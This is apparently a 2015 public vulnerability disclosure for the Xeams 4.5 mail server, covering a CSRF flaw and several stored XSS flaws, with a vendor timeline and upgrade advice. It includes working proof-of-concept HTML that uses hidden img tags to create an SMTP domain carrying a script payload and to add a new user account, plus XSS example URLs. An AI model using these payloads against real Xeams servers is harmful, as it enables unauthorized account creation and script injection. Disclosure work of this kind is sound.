# Exploit Title: Multiple vulnerabilities in Xeams 4.5 Build 5755 (CSRF/Stored XSS) # Date: 07-05-2015 # Exploit Author: Marlow Tannhauser # Contact: firstname.lastname@example.org # Vendor Homepage: http://www.synametrics.com # Software Link: http://web.synametrics.com/XeamsDownload.htm # Version: 4.5 Build 5755. Earlier versions may also be affected. # CVE: 2015-3141 (Xeams) # Category: Web apps # DISCLOSURE TIMELINE # 08/02/2015: Initial disclosure to vendor and CERT 09/02/2015: Acknowledgment of vulnerabilities from vendor 11/02/2015: Disclosure deadline of 01/03/2015 agreed with vendor 19/02/2015: Disclosure deadline renegotiated to 01/04/2015 at vendor's request 09/04/2015: Disclosure deadline renegotiated to 20/04/2015 at vendor's request 20/04/2015: Confirmation of fix from vendor 07/05/2015: Disclosure Note that the CVE-ID is for the CSRF vulnerability only. No CVE-ID has been generated for the stored XSS vulnerabilities. The vulnerable version of the product is no longer available for download from the vendor's webpage. Note also that this is a different vulnerability from CVE 2012-2569. # EXPLOIT DESCRIPTION # Xeams 4.5 Build 5755 is vulnerable to CSRF attacks, which can also be combined with stored XSS attacks (authenticated administrators only). The JSESSIONID created when a user logs on to the system is persistent and does not change across requests. # POC 1 # The following PoC uses the CSRF vulnerability to create a new SMTP domain in the application, and combines it with one of the stored XSS vulnerabilities. <html> <img src="http://192.168.0.8:5272/FrontController?domainname=%3Cscript%3Ealert%28%22XSS%22%29%3C%2Fscript%3E&operation=160" alt="" width="1" height="1"> </html> # POC 2 # The following PoC uses the CSRF vulnerability to create a new user with the details shown. <html> <img src="http://192.168.1.67:5272/FrontController?txtEmailemail@example.com&txtPwd=marlow&txtPwd1=marlow&chkActivate=on&chkNotify=on&reportTime_0=0&reportTime_1=- 1&reportTime_2=- 1&reportTime_3=- 1&reportTime_4=- 1&chkServerHost=192.168.1.67&SaveAndClose=Save&operation=504" alt="" width="1" height="1"> </html> # STORED XSS VULNERABILITIES # Stored XSS vulnerabilities are present in the following fields: Server Configuration > SMTP Configuration > Domain Configuration > New domain name field Example URL: http://192.168.0.8:5272/FrontController?domainname=%3Cscript%3Ealert%28%22ONE%22%29%3C%2Fscript%3E&operation=160#tab2 Server Configuration > Manage Forwarders > Add a new forwarder > Recipient's address Example URL: http://192.168.0.8:5272/FrontController?txtRecipient=%3Cscript%3Ealert%28%22THREE%22%29%3C%2Fscript%3E&txtIPAddress=127.0.0.1&chkGoodOnly=on&operation=130 Server Configuration > Manage POP3 Fetcher > New Account > POP3 Server field, User Name field, and Recipient field Example URL: http://192.168.0.8:5272/FrontController?popFetchServer=%3Cscript%3Ealert%28%22XSS1%22%29%3C%2Fscript%3E&popFetchUser=%3Cscript%3Ealert%28%22XSS2%22%29%3C%2Fscript%3E&popFetchPwd=password&popFetchRecipient=%3Cscript%3Ealert%28%22XSS3%22%29%3C%2Fscript%3E&popFetchCount=0&operation=73&index=-1 Server Configuration > Server Configuration > Advanced Configuration > Smtp HELO domain [XSS is displayed in Tools > About Xeams] Example URL: POST request # MITIGATION # Upgrade to the latest build of Xeams, available from the link shown.